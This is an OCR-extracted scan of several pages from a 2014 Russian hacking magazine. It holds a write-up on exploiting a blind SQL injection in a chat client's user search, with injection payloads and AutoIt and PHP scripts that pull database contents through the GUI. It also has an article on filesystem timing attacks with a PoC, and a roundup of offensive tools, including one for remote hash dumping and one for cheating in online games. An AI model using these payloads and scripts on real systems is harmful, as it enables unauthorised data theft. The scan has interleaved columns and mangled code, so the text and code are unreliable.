Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
51.23 Mб
Скачать

90

Взлом

ХАКЕР 01 /180/ 2014

ввести в работу. Для эффекта нужно было продемонстрировать результат успешной эксплуатации — скажем, вытащить что-нибудь из базы данных. Я уже было начал задумываться о возможностях перехвата звонков и прочих логических уязвимостях прикладного уровня, но на деле все оказалось проще и интереснее.

Я скачал клиент приложения, прошел регистрацию и включил Wireshark. Клиентская часть обильно стала посылать TCP- и UDP-пакеты, даже с моей нулевой активностью. Первым делом я решил добавить себе кого-нибудь в контакт-лист. Потыкавшись в форму добавления контактов, я заметил одну интересную вещь — при нажатии кнопки «Найти пользователя» в лог приложения падала интересная строчка:

2013-xx-xx xx:xx:xx; SendToServer: AR=1;T=23"Users.Name

LIKE "%Vasya%"";

«Да это же SQL-инъекция!» — подумал я и наугад вбил vasya" or "1"="1. В этот момент кнопка «Найти» стала неактивной и высветилось предупреждение о спецсимволах в строке запроса. Ну, думаю, попробую исправить запрос с помощью Burp Suite — благо настройки прокси брались из Internet Explorer, и поэтому была возможность перехватывать HTTP-пакеты. К этому моменту я уже успел заметить, что серверная часть использовала компоненты простенького веб-сервера, а клиент отсылал обычный HTTP-пакет с зашифрованным содержимым в теле POST-запроса.

Однако все оказалось не так просто. Приложение работало поверх неизвестного мне шифрования, к тому же библиотека с криптографическими функциями была запакована свежей версией упаковщика. Я уже почти отчаялся и стал думать, что придется брать в руки OllyDbg, и предвкушал много мук по реверсингу впереди (каюсь, отладка не мой конек), но тут заметил одну интересную вещь. Если через поле для поиска сначала отправить валидный запрос (например, «vasya») и дождаться, пока придет ответ со списком найденных пользователей, а потом добавить прямо в строку запроса " or "1"="1" -- 123, то в ответ мне придет список всех пользователей! Однако были ограничения:

логин обрезается механизмом, аналогичным функции trim() в PHP, поэтому в конце мы сами добавляем 123;

следующий после этого запрос заблокируется: то есть перед отправкой payload’а обязательно надо отсылать валидный запрос;

если копировать нагрузку в поле запроса из буфера обмена, то проверка происходит сразу и запрос также заблокируется.

Получается, что проверка на стороне клиента имеется, но ее можно обойти! Эксплуатация уязвимости возможна даже на стороне интерфейса, надо

всего лишь сформировать правильный UNION-запрос...

ЭКСПЛУАТИРУЕМ ВРУЧНУЮ

Началась рутина. Необходимо было выяснить версию СУБД, подобрать количество полей с помощью UNION SELECT null,null,*** (благо это оказался MySQL, в котором приведения типов полей не требуется), подставить необходимые данные во второй запрос и получить их на выходе в интерфейсе!

Но обнаружилось, что все не так просто, — уязвимый запрос имел следующую конструкцию:

SELECT ID FROM Users WHERE Users.Name LIKE "%{INJECT}%"

Если идентификатор пользователя (ID) был найден, то выполнялся еще один запрос, который извлекал из базы всю информацию о юзере и показывал клиенту. Это значит, что UNION’ом не вытащить ничего, кроме числовых значений, и тут сработает только blind-инъекция.

В голове вырисовывалась схема эксплуатации:

сначала собрать для кодов ASCII (с 32-го по 122-й) 90 логинов пользователей с последовательно возрастающими идентификаторами ID с помощью запросов aaaainvalid" or users.id={NUM} – 123;

а далее, выполняя запросы вида aaaainvalid" or users.id=ascii(char((SELECT version()),{POS},1))+{DELTA} -- 123, сравнивать логин из ответа с логинами, подобранными на первом этапе. Если логины совпали, значит, подзапрос вернул соответствующий логину символ.

Понятно, делать это вручную очень геморно: выполнять запросы я уто-

мился уже после десятого select’а и понял, что процесс нужно срочно автоматизировать. Очень кстати коллега подметил, что для таких целей хорошо подойдут утилиты вроде AutoIt (autoitscript.com) и AutoHotkey (autohotkey. com). Они напрямую работают с WinAPI и позволяют разрабатывать макросы, с помощью которых можно автоматизировать любые действия и, как в моем случае, эксплуатацию найденной уязвимости. К слову, именно эти тулзы я использую, когда делаю задания для HackQuest’ов и мне нужно имитировать действия клиентов.

ЭКСПЛУАТИРУЕМ АВТОМАТИЧЕСКИ

Я открыл редактор кода для AutoIt и написал два небольших скрипта, предварительно вручную экспериментальным путем определив параметр {DELTA} (идентификаторы в приложении начинались с 10030, а коды ASCII — с 32, поэтому {DELTA}=9998).

Первый скрипт соберет 90 логинов, с которыми мы будем сравнивать результаты подзапросов. Второй скрипт будет посимвольно подбирать результат того SQL-подзапроса, который мы ему отдадим.

В первом сценарии был реализован следующий функционал:

1.Сценарий находит и делает активным окно с названием Search for contacts.

2.Далее вбивает в строку поиска aaaa, удаляет ее и сразу вбивает aaaa" or users.id={USERID} -- 123.

3.После этого нажимает на кнопку «Добавить пользователя» и копирует из окна его логин (именно в этом окне поле «Логин» доступно для редактирования и его можно скопировать в буфер обмена).

4.Далее скрипт складывает его и соответствующий идентификатор ASCIIкода в файл в нужном формате.

5.Увеличивает {USERID} и идентификатор ASCII-кода на единицу.

6.Повторяет всю цепочку действий 90 раз (c 32-го по 122-й символ таблицы ASCII).

Далее мы сохраняем полученные данные в PHP-скрипт вида:

<?php

$map = array(

32=>"vasya",

33=>"Egor",

34=>"Microsoft",

***

);

?>

Второй сценарий непосредственно достает полезные данные из базы. А конкретно:

1.Берет запрос вида "SELECT version()),{POS}" из внешнего сценария (который каждый раз будет увеличивать на единицу параметр {POS}.

2.Помещает его в строку поиска пользователей в формате aaaainvalid" or users.id=ascii(char((SELECT version()),{POS},1))+{DELTA} – 123.

Зашифрованные запрос и ответ

Эксплуатируем инъекцию из интерфейса

ХАКЕР 01 /180/ 2014

SQLi в непростых условиях

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция,

ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Вычисляем хеш

от полученного

изображения

3.Нажимает на кнопку «Добавить пользователя», копирует из окна его логин и посылает внешнему сценарию в формате sqllog.php?s={FOUND_LOGIN}.

4.Сценарий помещает в файл запроса символ по найденному в массиве $map ASCII-коду.

5.Если запросы aaaainvalid" or users.id=ascii(char((SELECT version()),{POS},1))+{DELTA} -- 123 и aaaainvalid" or users.id={DELTA} -- 123 вернули одно и то же, это означает, что подзапрос вернул пустое значение. Нужно сбросить {POS} в 1 и отдавать теперь на первом шаге следующий запрос из очереди.

Кстати, вытаскивать русские символы мне помогла функция HEX("русский текст"), которая возвращала преобразованные в Hex UTF-8 коды русских символов.

GODLIKE MOD

Мне повезло, и в приложении можно было копировать результаты поиска в буфер обмена для дальнейшего сравнения. Однако такое возможно не всегда. Как можно выкрутиться в этой ситуации? Для создания более универсального кода (а к этому я и стремился) отлично подойдет снимок части экрана

споследующим сравнением изображений!

Янемного модифицировал код макросов AutoIt. Теперь мы будем использовать готовый UDF-модуль ScreenCapture.au3, который идет в базовой поставке дистрибутива, чтобы сценарии могли делать снимок части экрана и сохранять изображения в формате PNG. Первый сценарий теперь сохраняет в файл с номером соответствующего ASCII-кода фрагмент формы поиска

снайденным логином пользователя.

Далее я изменил логику сравнения получаемых во втором сценарии данных с шаблонами. Сначала сценарий на PHP берет набор RGB-кодов пикселей центральной линии шаблонных файлов снимков экрана (получается очень длинная строка из кодов RGB). MD5-суммы от этих строк и будут нашими хешами: у снимков экрана результатов поиска с одинаковыми текстами будут одинаковые хеши, так мы и определим подобранный символ.

ЗАКЛЮЧЕНИЕ

На выходе я получил набор сценариев на AutoIt и PHP, которые:

позволяют эксплуатировать найденную SQL-инъекцию из интерфейса почти любого приложения — неважно, можно ли извлечь паттерны поиска, или же их можно сохранить только как снимок экрана;

делают это достаточно быстро: один символ подбирается приблизительно десять секунд, что соизмеримо со скоростью эксплуатации классической слепой SQL-инъекции;

поддерживают очередь запросов, предварительно помещенных в файл.

Этим набором я с удовольствием делюсь с вами. Надо сказать, что я получил огромный фан от эксплуатации простой уязвимости в непростых условиях. Позже выяснилось, что строка поиска оказалась единственным местом, откуда данные напрямую поступали в SQL-запрос, так как в остальных местах использовалась параметризация. Вот и не верь после этого в удачу :).

91

КОД МАКРОСА AUTOIT

; Забираем часть запроса из внешнего сценария $oIE=ObjCreate("InternetExplorer.Application.1") $URL = "http://localhost/sql.php"

$oIE.Navigate( $URL ) WinActivate($SinkObject) WinSetState($SinkObject, '', @SW_SHOW) Send("^a")

Send("^c")

;Соединяем динамическую часть запроса

;со статической и отсылаем в поле поиска,

;предварительно выяснив его позицию

$Query = "" & ClipGet() & "" $sTitle = 'Search for contacts' $Coords = WinGetPos ($sTitle) $hWin = WinWait($sTitle, '', 1) WinActivate($hWin) WinSetState($hWin, '', @SW_SHOW)

Send("aaaa"" or users.id=ascii(substr((" & $Query & ",1)){+}10132 -- 2")

Send("{ENTER}")

;Ждем, пока отобразится ответ, делаем скриншот

;результата и кладем его в папку htdocs

;Sleep(1000)

_ScreenCapture_Capture("С:/wwwroot/htdocs/cmp. png",$Coords0 (+100, $Coords1 (+55,

$Coords0 (+150, $Coords1 (+125,0)

;Вызываем внешний сценарий, который сравнит

;изображения и сохранит в файл подобранный

;символ

$URL = "http://localhost/sql.php?q=1" $oIE.Navigate( $URL )

КОД СЦЕНАРИЯ PHP

//В самом начале пробегаем по всем изображениям

//с паттернами символов и вычисляем md5sum —

//в дальнейшем будем использовать только эти

//значения

if (!isset($_SESSION'files' ())

{

$_SESSION['pos'] = 0;

$_SESSION'empty' ( =

checksum("./patt/empty.png");

for($i=32; $i<=122; $i++)

$_SESSION'files' ($i ( =

checksum("./patt/img" . $i . ".png");

}

//Файл готов. Берем его хеш и сравниваем с уже

//вычисленными значениями

if($_GET'q' (==1)

{

$tmp = explode("\r\n",

file_get_contents ('./query.txt'));

$_SESSION['query'] = $tmp['0'];

$cmp = checksum("./cmp.png");

$found = array_search($cmp, $_SESSION

['files']);

//Помещаем в файл с именем запроса

//подобранный символ

if ($found!==false)

file_put_contents($_SESSION'query'

( . ".txt", chr($found), FILE_APPEND);

//Если md5sum совпала с «пустым»

//шаблоном, значит, подзапрос ничего

//не вернул — обнуляем счетчик

//и переходим к следующему запросу elseif($cmp===$_SESSION['empty'])

{

next_query();

}

}

92

Взлом

ХАКЕР 01 /180/ 2014

ХАКЕР 01 /180/ 2014

Лучше, чем DirBuster!

93

Лучше,

чем DirBuster!

Тайминг-атаки на файловые системы

Ты, возможно, помнишь технику извлечения данных из БД, основанную на измерении времени ответа сервера, применяемую в слепых SQL-инъекциях. Однако такой подход можно использовать не только в случае работы с СУБД, но и в случае взаимодействия с файловыми

системами. Такой подход позволит серьезно сократить время, необходимое на первичный сбор информации о целевой системе, а время, известно, является самым важным фактором при пентесте. Сегодня мы бы хотели поделиться своим исследованием на данную тему, которое мы представили на недавно прошедшей конференции ZeroNights 2013.

ПРЕДИСЛОВИЕ

Термин «тайминг-атака» (или атака по времени) изначально пришел из криптографии. Так принято называть атаку на криптосистему, когда атакующий пытается скомпрометировать ее

спомощью анализа времени, затрачиваемого на исполнение криптографических алгоритмов. Однако тайминг-атакам подвержены не только криптоалгоритмы, что сильно расширяет поле для применения этого подхода. Так, в июле 2013 года прекрасную работу по практической реализации тайминг-ата- ки для браузеров представил Пол Стоун (Paul Stone) из компании Context IS (bit.ly/18NcVt6). В этой работе тайминг-атаки были использованы для обхода SOP (Same Origin Policy) в современных браузерах путем подсчета временных задержек при пиксельных преобразованиях содержимого страниц, прочитать которые с помощью классических методов невозможно из-за кросс-доменных ограничений SOP.

Что касается нашей работы, посвященной атакам по времени на файловые системы, то она была начата в конце 2012 года и основывается на практическом опыте проведения аудитов безопасности веб-приложений и тестов на проникновение. Ее результатами мы и хотели бы сегодня поделиться

стобой.

ПРЕДПОСЫЛКИ И НАПРАВЛЕНИЕ ИССЛЕДОВАНИЙ

При анализе безопасности веб-приложений и сетевых сервисов методом черного ящика первичным является сбор сведений о целевой системе. Информацию о доступных файлах и папках или же обработчиках приложений (в случае использования rewrite или других технологий ЧПУ) обычно получают посредством атаки перебора по словарю. Для этого служат инструменты наподобие OWASP DirBuster (bit.ly/kEHIyQ).

Нашей целью было усовершенствовать технику перебора файлов/сценариев веб-приложения, используя тайминг-ата- ки. В идеальном случае хотелось перейти от классического dirbusting, то есть метода прямого перебора по словарю, к некоторому аналогу поиска файлов по частям их имен. В простей-

 

 

шем случае это будут тайминг-атаки на файловые системы,

 

 

а в случае application-серверов — тайминг-атаки на механиз-

 

 

мы rewrite и другие методы выбора action для соответствую-

 

 

щего URL.

 

 

Подтолкнули нас к данному исследованию практические

 

 

наблюдения за временем ответа TFTP-сервера на сетевом

 

Wallarm Research

маршрутизаторе (время между отправкой UDP-датаграммы

 

w w w.wallarm.com

и получением ответа) при запросах разных имен файлов, вы-

 

 

полненные в рамках проведения аудита информационной

 

 

безопасности. Статистически разрешив погрешности, нам

 

 

удалось вычислить возможные префиксы файлов прошивок

 

 

Рис. 1. Сравнительная

(первые 3–5 байт имен файлов, существующих на сервере)

таблица алгоритмов

методом словарной атаки. Затем мы продолжили атаку мето-

поиска файла для раз-

дом перебора оставшихся частей имен файлов для префик-

ных ФС

сов, дающих аномалии по времени ответа.

Filesystem

Directory

Hash type

Cache

 

indexing algo

 

 

ext2

list

+

ext3/4

htree

half_md4 + seed

+

 

 

(earlier Legacy, TEA)

 

ufs2/NFS

dirhash

FNV (FreeBSD)

+

 

 

DJB (OpenBSD)

 

FAT

list (btree)

+

NTFS

btree

+

94

Взлом

 

ХАКЕР 01 /180/ 2014

 

 

 

 

 

 

 

 

ОСНОВЫ ТАЙМИНГ-АТАК

Чтобы двигаться дальше, давай немного определимся с те-

Рис. 2. Ищем возмож-

орией. Рассмотрим абстрактную функцию А от данных поль-

ность для тайминг-ата-

зователя и неких приватных данных A (UserData, PrivateData).

ки в реализации ext2

Данная функция выполняет операции с PrivateData на основе

 

UserData, при этом не отображая полностью всю информа-

 

цию PrivateData в своем выводе. Для простоты можно считать,

Рис. 3. Реализация по-

что у функции A() вообще нет никакого вывода.

иска в UFS

Утверждается, что функция A() уязвима к тайминг-атаке,

 

если результат выполнения функции А зависит от UserData

 

так, что по времени выполнения функции А можно получить

 

какие-либо сведения о данных PrivateData. Классический

 

пример из криптографии — восстановление закрытого ключа

 

(PrivateData) по времени операции дешифрования криптотек-

 

стов (UserData).

 

ТАЙМИНГ-АТАКА НА ФАЙЛОВЫЕ СИСТЕМЫ

Для файловых систем логичнее всего выбрать модель, в кото-

рой уязвимой к тайминг-атакам функцией будет функция по-

 

иска файла в каталоге по имени. Для UNIX-систем это будет

WWW

означать проверку системного вызова STAT() (bit.ly/cHD8RL).

 

Здесь стоит обратить внимание на то, что права на файл,

Remote Timing Attacks

при наличии прав на директорию, содержащую его, проверя-

are Practical:

ются как раз по данным, полученным от STAT(). Таким обра-

stanford.io/1fGVvEf

зом, при проведении описанной тайминг-атаки права на сам

 

файл роли не играют.

Timing Attacks

Конечно, варианты проведения атаки не ограничиваются

on Implementations of

только проверкой вызова STAT(), есть и другие варианты, од-

Diffe-Hellman, RSA, DSS,

нако в нашей работе этот вызов рассматривается как наибо-

and Other Systems:

лее общая и имеющая практическую ценность модель для ис-

bit.ly/1c7ikxA

следований.

 

АЛГОРИТМЫ ПОИСКА ФАЙЛОВ В ДИРЕКТОРИИ

Timing Analysis

of Keystrokes and Timing

В ходе исследования нам пришлось изучить, как работают

Attacks on SSH:

алгоритмы поиска файлов для следующих файловых систем:

bit.ly/IgSEU7

ext2, ext3, ext4, UFS2, NFS, FAT, NTFS (выбраны по принципу

 

распространенности при использовании на веб-серверах),

Opportunities

так как они будут непосредственно влиять на время отклика.

and Limits of Remote

Условно все используемые алгоритмы поиска файлов можно

Timing Attacks:

разделить на неоптимизированные (списки) и оптимизиро-

bit.ly/bELuXg

ванные (деревья и хеш-таблицы).

 

На этом этапе возникает вопрос влияния кеширования

Remote Timing Attacks

на возможность проведения тайминг-атак. На первый взгляд

are Still Practical:

может показаться, что кеширование мешает или даже препят-

bit.ly/iUIZE8

ствует проведению такого рода атак, но на самом деле все на-

 

оборот. Кеширование (мы говорим про хранение результатов

 

Мы работаем над написанием полноценного фреймворка для наблюдения аномалий тайминга в файловых системах как в случае локальных атак, так и в случаях удаленных сервисов

операций в памяти) снижает количество обращений к устройству хранения информации, тем самым убирая лишние шумы в статистических данных временных задержек при доступе к файлу.

Ext2

Ну а теперь перейдем к рассмотрению используемых алгоритмов поиска файлов для каждой из файловых систем. Начнем с ext2. В ней используется простой список, а поиск элементов происходит перебором и сравнением «каждый с каждым». При этом перед сравнением строк имен файлов побайтово сверяются длины этих строк. Если длины не совпадают, проверка считается оконченной с отрицательным результатом.

Как можно догадаться, такая оптимизация сразу дает аномалии для тех файлов, длины которых не совпадают ни с одним из находящихся в каталоге файлов. Наблюдение за аномалиями таймингов по длине имени файла очень полезно при атаках на директории, в которых существующие файлы имеют один формат, например log-20131113-1122-c4daa58ccb8ee718. dat. Более подробно о практической атаке на ext2 будет рассказано ниже.

Ext3/4

Данные файловые системы реализуют оптимизированный алгоритм HTree, спроектированный еще для ext2, но так и не вошедший ни в одну из ее стабильных веток. При создании файловой системы по умолчанию включена HTree-индексация директорий, однако ее можно отключить, в этом случае все становится полностью аналогично описанному выше случаю с ext2.

Алгоритм HTree хеширует имена файлов и хранит результаты в виде дерева. Тайминг-атака на такого рода алгоритмы позволяет вычислить хранящиеся хеши от имен файлов, однако это сводит задачу к вычислению имен файлов по значениям хеш-функций от них.

В ext3/4 используется по умолчанию хеш-функция half_md4 (bit.ly/1cMY X YN), использующая 24 раунда (3x8). Но в качестве переменной seed (криптографический вектор инициализации или просто IV) ей передается случайное число (четыре слова по 32 бита каждое), генерируемое mkfs или другой утилитой, используемой при создании файловой системы. Атака методом прямого перебора на хеш с неизвестным IV такой длины (128 бит) невозможна для современных вычислительных средств. Криптографическая стойкость алгоритма half_md4 (24 раунда) не изучалась.

Отметим, что применение именно IV вместо классической соли слева не дает возможности провести length extension (bit. ly/H3b9sL) атаку, актуальную для такого типа хешей. Таким образом, у атакующего нет возможности создать хеш от строки, содержащей подстроку, хеш от которой он уже знает. Для такой атаки все равно требуется знать состояние алгоритма на момент создания хеш-функции, то есть знание IV, которое недоступно. Если бы вместо IV переменная seed являлась классической солью, то такая атака имела бы место быть.

Несмотря на IV, файловые системы ext3/4 могут быть подвержены тайминг-атакам в случаях, когда атакующий знает значение IV. Например, в случае использования публичных прошивок устройств.

ХАКЕР 01 /180/ 2014

Лучше, чем DirBuster!

 

 

95

 

 

 

 

мерация от нуля). Для этого заменим код на строке 119 (вызов

 

 

 

 

функции check_diff_byte) на цикл, представленный ниже:

 

 

 

 

int i;

 

 

 

 

for (i=0; i<20; i++){

 

 

 

 

check_diff_byte( timings, rounds, measures, i);

 

 

 

 

printf("testing timings on difference in %d

 

 

 

 

byte", i);

 

 

 

 

print_timings( "", timings, measures);

 

 

 

 

}

 

 

 

 

После чего перекомпилируем и запустим программу:

 

 

 

 

$ gcc fs-timing.c -lm

 

 

 

 

$ mkdir test

 

 

 

 

$ ./a.out test/

UFS2/NFS

 

 

 

Как можно увидеть из графика для файловой системы ext2,

 

 

 

в случае если директория содержит в себе файл, длина име-

 

 

 

 

 

 

Популярная для *BSD файловая система UFS2 имеет две ре-

Рис. 4. Результат

ни которого равна длине имени искомого файла, время вы-

ализации функции хеширования для OpenBSD и FreeBSD си-

работы нашей тестовой

полнения вызова STAT() значительно увеличивается: с 450 мс

стем.

 

утилиты

до 660 мс (в случае если имена файлов отличаются первым

FreeBSD использует хеш FNV, а OpenBSD — DJB, но с точ-

 

 

байтом).

ки зрения тайминг-атаки между ними нет никакой разницы.

 

 

Также был проверен случай, когда длина имени искомого

И та и другая хеш-функция не использует ни IV, ни солей,

 

 

файла совпадала с длиной имени других файлов в директо-

что дает возможность полностью проводить тайминг-атаки.

 

 

рии. Мы рассматривали зависимость времени выполнения

Алгоритм поиска по хеш-таблице оптимизирован, что дает хо-

 

 

вызова STAT() от позиции символа в искомом файле, кото-

роший эффект тайминга.

 

 

 

рый отличается от имеющихся в директории. И обнаружили,

FAT/NTFS

 

 

 

что полученные результаты могут быть прекрасно аппрокси-

 

 

 

мированы с помощью линейной функции (см. рис. 5), что де-

Файловые системы ОС Windows используют B-Tree алгоритм

 

 

монстрирует релевантность нашей теории для практического

поиска по файлам. Заметим, что FAT начиная с Windows 98

 

 

применения.

также оптимизирована и использует B-Tree — в отличие от той

 

 

ЗАКЛЮЧЕНИЕ, ИЛИ ЧТО ДАЛЬШЕ?

FAT, которая реализована в DOS или открытых системах UNIX,

 

 

где используется простой список (list).

 

 

В настоящий момент мы работаем над написанием полно-

Алгоритм B-Tree (bit.ly/cNnqzI) представляет собой дере-

 

WARNING

ценного фреймворка для наблюдения аномалий тайминга

во, в вершинах которого могут располагаться несколько эле-

 

 

в файловых системах для атак на локальные и удаленные

ментов (не следует путать B-Tree и бинарное дерево). Дан-

Вся информация предо-

(FTP, TFTP, HTTP и другие) сервисы. В будущем хотелось бы

ные файловые системы также подвержены тайминг-атакам,

ставлена исключительно

предложить альтернативный классическому dirbusting’у ме-

так как время поиска файла напрямую зависит от элементов

 

в ознакомительных

тод обнаружения файлов на веб-серверах с использованием

в B-Tree, то есть других файлов в директории.

 

целях. Ни редакция,

этих техник.

POC

 

 

ни автор не несут от-

Однако работы в данном направлении продолжаются

 

ветственности за любой

не только в сторону файловых систем. На Black Hat 2014 мы по-

Мы разработали специальную утилиту, доступную всем жела-

 

возможный вред, при-

делимся результатами исследования. В этой работе тайминг-

ющим на GitHub (bit.ly/1b30IhF), которая может быть использо-

чиненный материалами

атаки позволят использовать против баз данных NoSQL и key-

вана для демонстрации эффектов тайминга в различных фай-

 

данной статьи.

value хранилищ техники, аналогичные SQL-инъекциям.

ловых системах. Она сравнивает время выполнения системных

 

 

 

вызовов STAT() для различных имен файлов или наборов имен

 

 

 

файлов в заданной директории. Утилита проверяет:

 

 

 

время выполнения системного вызова STAT() для имени файла, длина которого отличается от имеющихся в директории;

время выполнения системного вызова STAT() для имени файла, длина которого равна имеющимся в директории, а первый байт имени отличается от всех находящихся в директории;

аналогичные проверки для 4-го, 8-го и 100-го байта в имени файла, отличающихся от остальных.

Рассмотрим использование программы на примере файловой системы ext2. Создадим для нашего теста новый ext2 раздел внутри loop-устройства (обычного файла):

$ dd if=/dev/zero of=ext2_example bs=1M count=128

$ mkfs.ext2 -F ext2_example

$ mount -o loop ext2_example /mnt/ext2_example

$ cd /mnt/ext2_example

$ git clone https://github.com/wallarm/researches.git

Затем в строке 18 установим префикс имен файлов в 20 байт:

#define FILENAME_PREFIX "aaaaaaaaaaaaaaaaaaaa"

Модифицируем код с тем, чтобы подсчитывать время поиска

имен файлов, которые отличаются от существующих в каждом

Рис. 5. Для ext2 важную роль играет равенство длин проверяемого файла

из 20 байтов префикса последовательно (от 0 до 19, так как ну-

и существующих в директории

96

Взлом

ХАКЕР 01 /180/ 2014

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни авторы, ни редакция за твои действия ответственности не несут!

X-TOOLS Дмитрий «D1g1» Евдокимов, Digital Security @evdokimovds

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

 

 

 

Автор: Michal

Автор: pentestgeek

Автор: Сергей Белов

Zalewski

URL: https://github.

URL: https://github.

URL: https://code.

com/pentestgeek/

com/BeLove/avhbf/

google.com/p/

smbexec

Система: Windows/

american-fuzzy-lop/

Система: Windows/

Linux

Система: Linux

Linux

 

1

 

2

 

3

УМНЫЙ ФАЗЗИНГ С ИСХОДНЫМ КОДОМ

По-настоящему новое и интересное в фаззинге появляется не так часто, но American fuzzy lop, о котором сейчас пойдет речь, действительно достоин внимания. Автор этого фаззера — хорошо известный Михаль Залевски, создатель таких инструментов, как cross_fuzz, ref_fuzz.

American fuzzy lop (на самом деле это такая порода кроликов. — Прим. ред.) построен на методах инструментации на этапе компиляции кода. Это позволяет автоматически находить новые тест-кейсы. Естественно, для работы данного фаззера нужно иметь доступ к исходному коду исследуемого проекта.

У AFL есть несколько важных преимуществ: низкое потребление ресурсов, поддержка высокоэффективных техник фаззинга и простота работы со сложной кодовой базой. По оценке автора, AFL потребляет лишь на 20–30% больше памяти, чем фаззеры без инструментации (замер проводился при анализе кода gzip). В качестве примера Михаль привел библиотеки парсинга популярных форматов изображений, в которых ему лично удалось найти несколько важных уязвимостей с помощью своего инструмента.

Инструментация в AFL успешно работает для кода на следующих языках программирования:

C;

Objective-C;

C++.

После инструментации программы запуск ее выглядит примерно следующим образом:

./afl-fuzz -i input_dir -o output_dir

/path/to/program [...params...]

SMBEXEC

Smbexec предназначен для быстрой атаки с помощью инструментов Samba в стиле PSExec. Как говорит в описании сам автор этой тулзы: «Я решил написать smbexec, потому что меня достало, что Metasploit PSExec превратился в какого-то монстра» :). Последняя версия программы полностью переписана на Ruby и получила многопоточность.

Программа по-прежнему умеет удаленно дампить хеши из систем или контроллеров домена, определять, где были задействованы реквизиты администратора контроллера, и прочее.

Smbexec использует для post exploitation разные нативные функции Windows. Если у тебя есть хоть какие-то реквизиты (например, хеш или пароль для локального или доменного аккаунта), ты сможешь расширить доступ в сети. Это позволяет пентестеру быстро идентифицировать интересные цели и получать на них доступ в больших сетях, не беспокоясь о системах управления привилегиями (AV, UAC).

Из основных улучшений версии 2.0 можно отметить:

увеличение скорости работы;

улучшения конфига и парсера командной строки;

модуль поиска файлов с поддержкой масок имен (passwords.xls, *financ*.xls*);

модуль распространения и запуска произвольных PowerShell-скриптов.

Результаты работы всех новых модулей сохраняются в текстовые файлы и могут быть скачаны. Таким образом, smbexec позволяет просто, удобно и методично пройтись по всем машинам в сети и собрать нужную информацию.

ADVANCED VIRTUAL HOST BRUTEFORCER

Довольно часто при пентесте веб-приложений можно найти какие-нибудь секретные сайты. Это могут быть всевозможные админки, демоверсии и многое другое. Как правило, эти секретки располагаются просто на другом виртуальном хосте на том же сервере. Главное — знать, что и как искать. И вот тут пригодится инструмент, о котором пойдет речь.

Advanced virtual host bruteforcer помогает автоматизировать их поиск. И речь идет не об инструменте вроде Metasploit, который просто перебирает домены по списку и смотрит на HTTPответ. AVHB — намного более продуманное решение для такой задачи, обладающее целым рядом полезных возможностей.

Во-первых, присутствует гибридный режим работы. Когда в качестве цели передается имя домена, тулза пытается найти тестовые поддомены, типа test.domain, dev.domain и подобных. Затем пытается обнаружить .dev/.test/.local-зоны для текущего домена и для всех перебираемых поддоменов.

Во-вторых, тут используется «умный» механизм детекта ответов. Не просто сравнивает HTTP-ответ (например, nginx по дефолту отвечает 200 на любой несуществующий виртуальный хост), а сравнивает возвращаемый контент. Сравнение происходит через библиотеку на С++ или PHP-средствами через хеш-карту. Дополнительных библиотек не требуется и работает все это достаточно быстро.

В-третьих, Advanced virtual host bruteforcer имеет большие словари по сравнению со словарями из модуля Metasploit (конечно, включает домены и из MSF) и различные механизмы от ошибочных ответов найденных доменов.

ХАКЕР 01 /180/ 2014

7 утилит для взлома и анализа безопасности

97

Автор: Alberto Ortega

URL: https://github.com/a0rtega/pafish

Система: Windows

Обходим дебаггер и динамический анализ

Pafish (Paranoid Fish) — это PoC, демонстрирующий некоторые трюки против дебаггеров, виртуальных машин и песочниц. Сразу стоит сказать, что данный проект не содержит никаких сложных и продвинутых способов детекции виртуального окружения, а представляет собой сборник самых распространенных приемов. Так что проект очень хорош для образовательных целей.

Некоторым разработчикам могут пригодиться функции pafish в собственных проектах. И чтобы это было возможно, автор реализовал pafish DLL (bit.ly/ZYFwXI), отдельный DLL со всеми функциями pafish.

DLLIMPORT

int check_debugger(void);

DLLIMPORT

int check_generic_sandbox(void);

DLLIMPORT int check_qemu(void);

DLLIMPORT

int check_sandboxie(void); DLLIMPORT int check_vbox(void);

DLLIMPORT int check_vmware(void);

DLLIMPORT int check_wine(void);

DLLIMPORT int check_all(void);

Все приведенные выше функции возвращают значение 0 при успешном срабатывании (TRUE).

 

 

 

Автор: Bradyok

Автор: BECHED

Автор: Andres

Software

URL: https://

Riancho

URL: wpepro.net

github.com/beched/

URL: andresriancho.

Система: Windows

libpywebhack

github.io/

 

Система: Windows/

nimbostratus/

 

Linux

Система: N/A

4

 

5

 

6

WINSOCK PACKET EDITOR

Любой геймер-жулик, кто играл в World of Warcraft (хотя и не только), знает эту программу. Winsock Packet Editor (WPE) — это пакетный снифер/ редактор, который в основном предназначен для жульничества в онлайн-играх. WPE позволяет изменять данные на уровне TCP.

Используя WPE, можно выбрать один из запущенных процессов и изменить данные до того, как они будут отправлены на сервер. Также можно просто сохранять все пакеты для последующего их анализа, например в Wireshark. Он поддерживает различные фильтры, которые можно сохранять и использовать когда понадобится. Например, можно установить специальное регулярное выражение, и если оно подойдет к данным в ка- ком-либо пакете, то эти данные можно заменить на какие-то свои. Также ведется статистика количества отправленных и принятых пакетов. А содержимое пакетов отображается и в hex-виде, и в текстовом.

Подробнее о техниках взлома для WoW ты можешь прочитать в соответствующей статье в этом номере, а нам сейчас интересно другое. WPE отлично подходит для совсем не игровых задач. Скажем, его можно использовать для пентеста «тонких клиентов» (например, разные апплеты в браузере, работающие не по HTTP-протоколу). Благодаря внесению изменений в пакеты можно обходить ограничения, которые заложены в GUI, и просто конструировать и отправлять некорректные пакеты, то есть фаззить.

Программа очень проста и понятна в использовании. Для начала это пойдет, а со временем можно переключиться на более серьезные инструменты. Например, стоит освоить Pythonбиблиотеку Scapy :).

WEB HACK В PYTHON-СТИЛЕ

Сегодня рассмотрим библиотеку libpywebhack. В ней собраны утилиты для решения задач, часто возникающих на пентестах или CTFсоревнованиях. Автор библиотеки избрал тактику, которая позволяет извлечь максимум информации о внутренней структуре веб-приложения при минимальном количестве запросов.

Типичный юзкейс — сайт с url rewrite. Для анализа такого сайта libpywebhack поможет в следующем:

определить настоящие имена сценариев, серверные пути;

быстро найти параметры, используемые сценарием;

произвести фаззинг этих параметров.

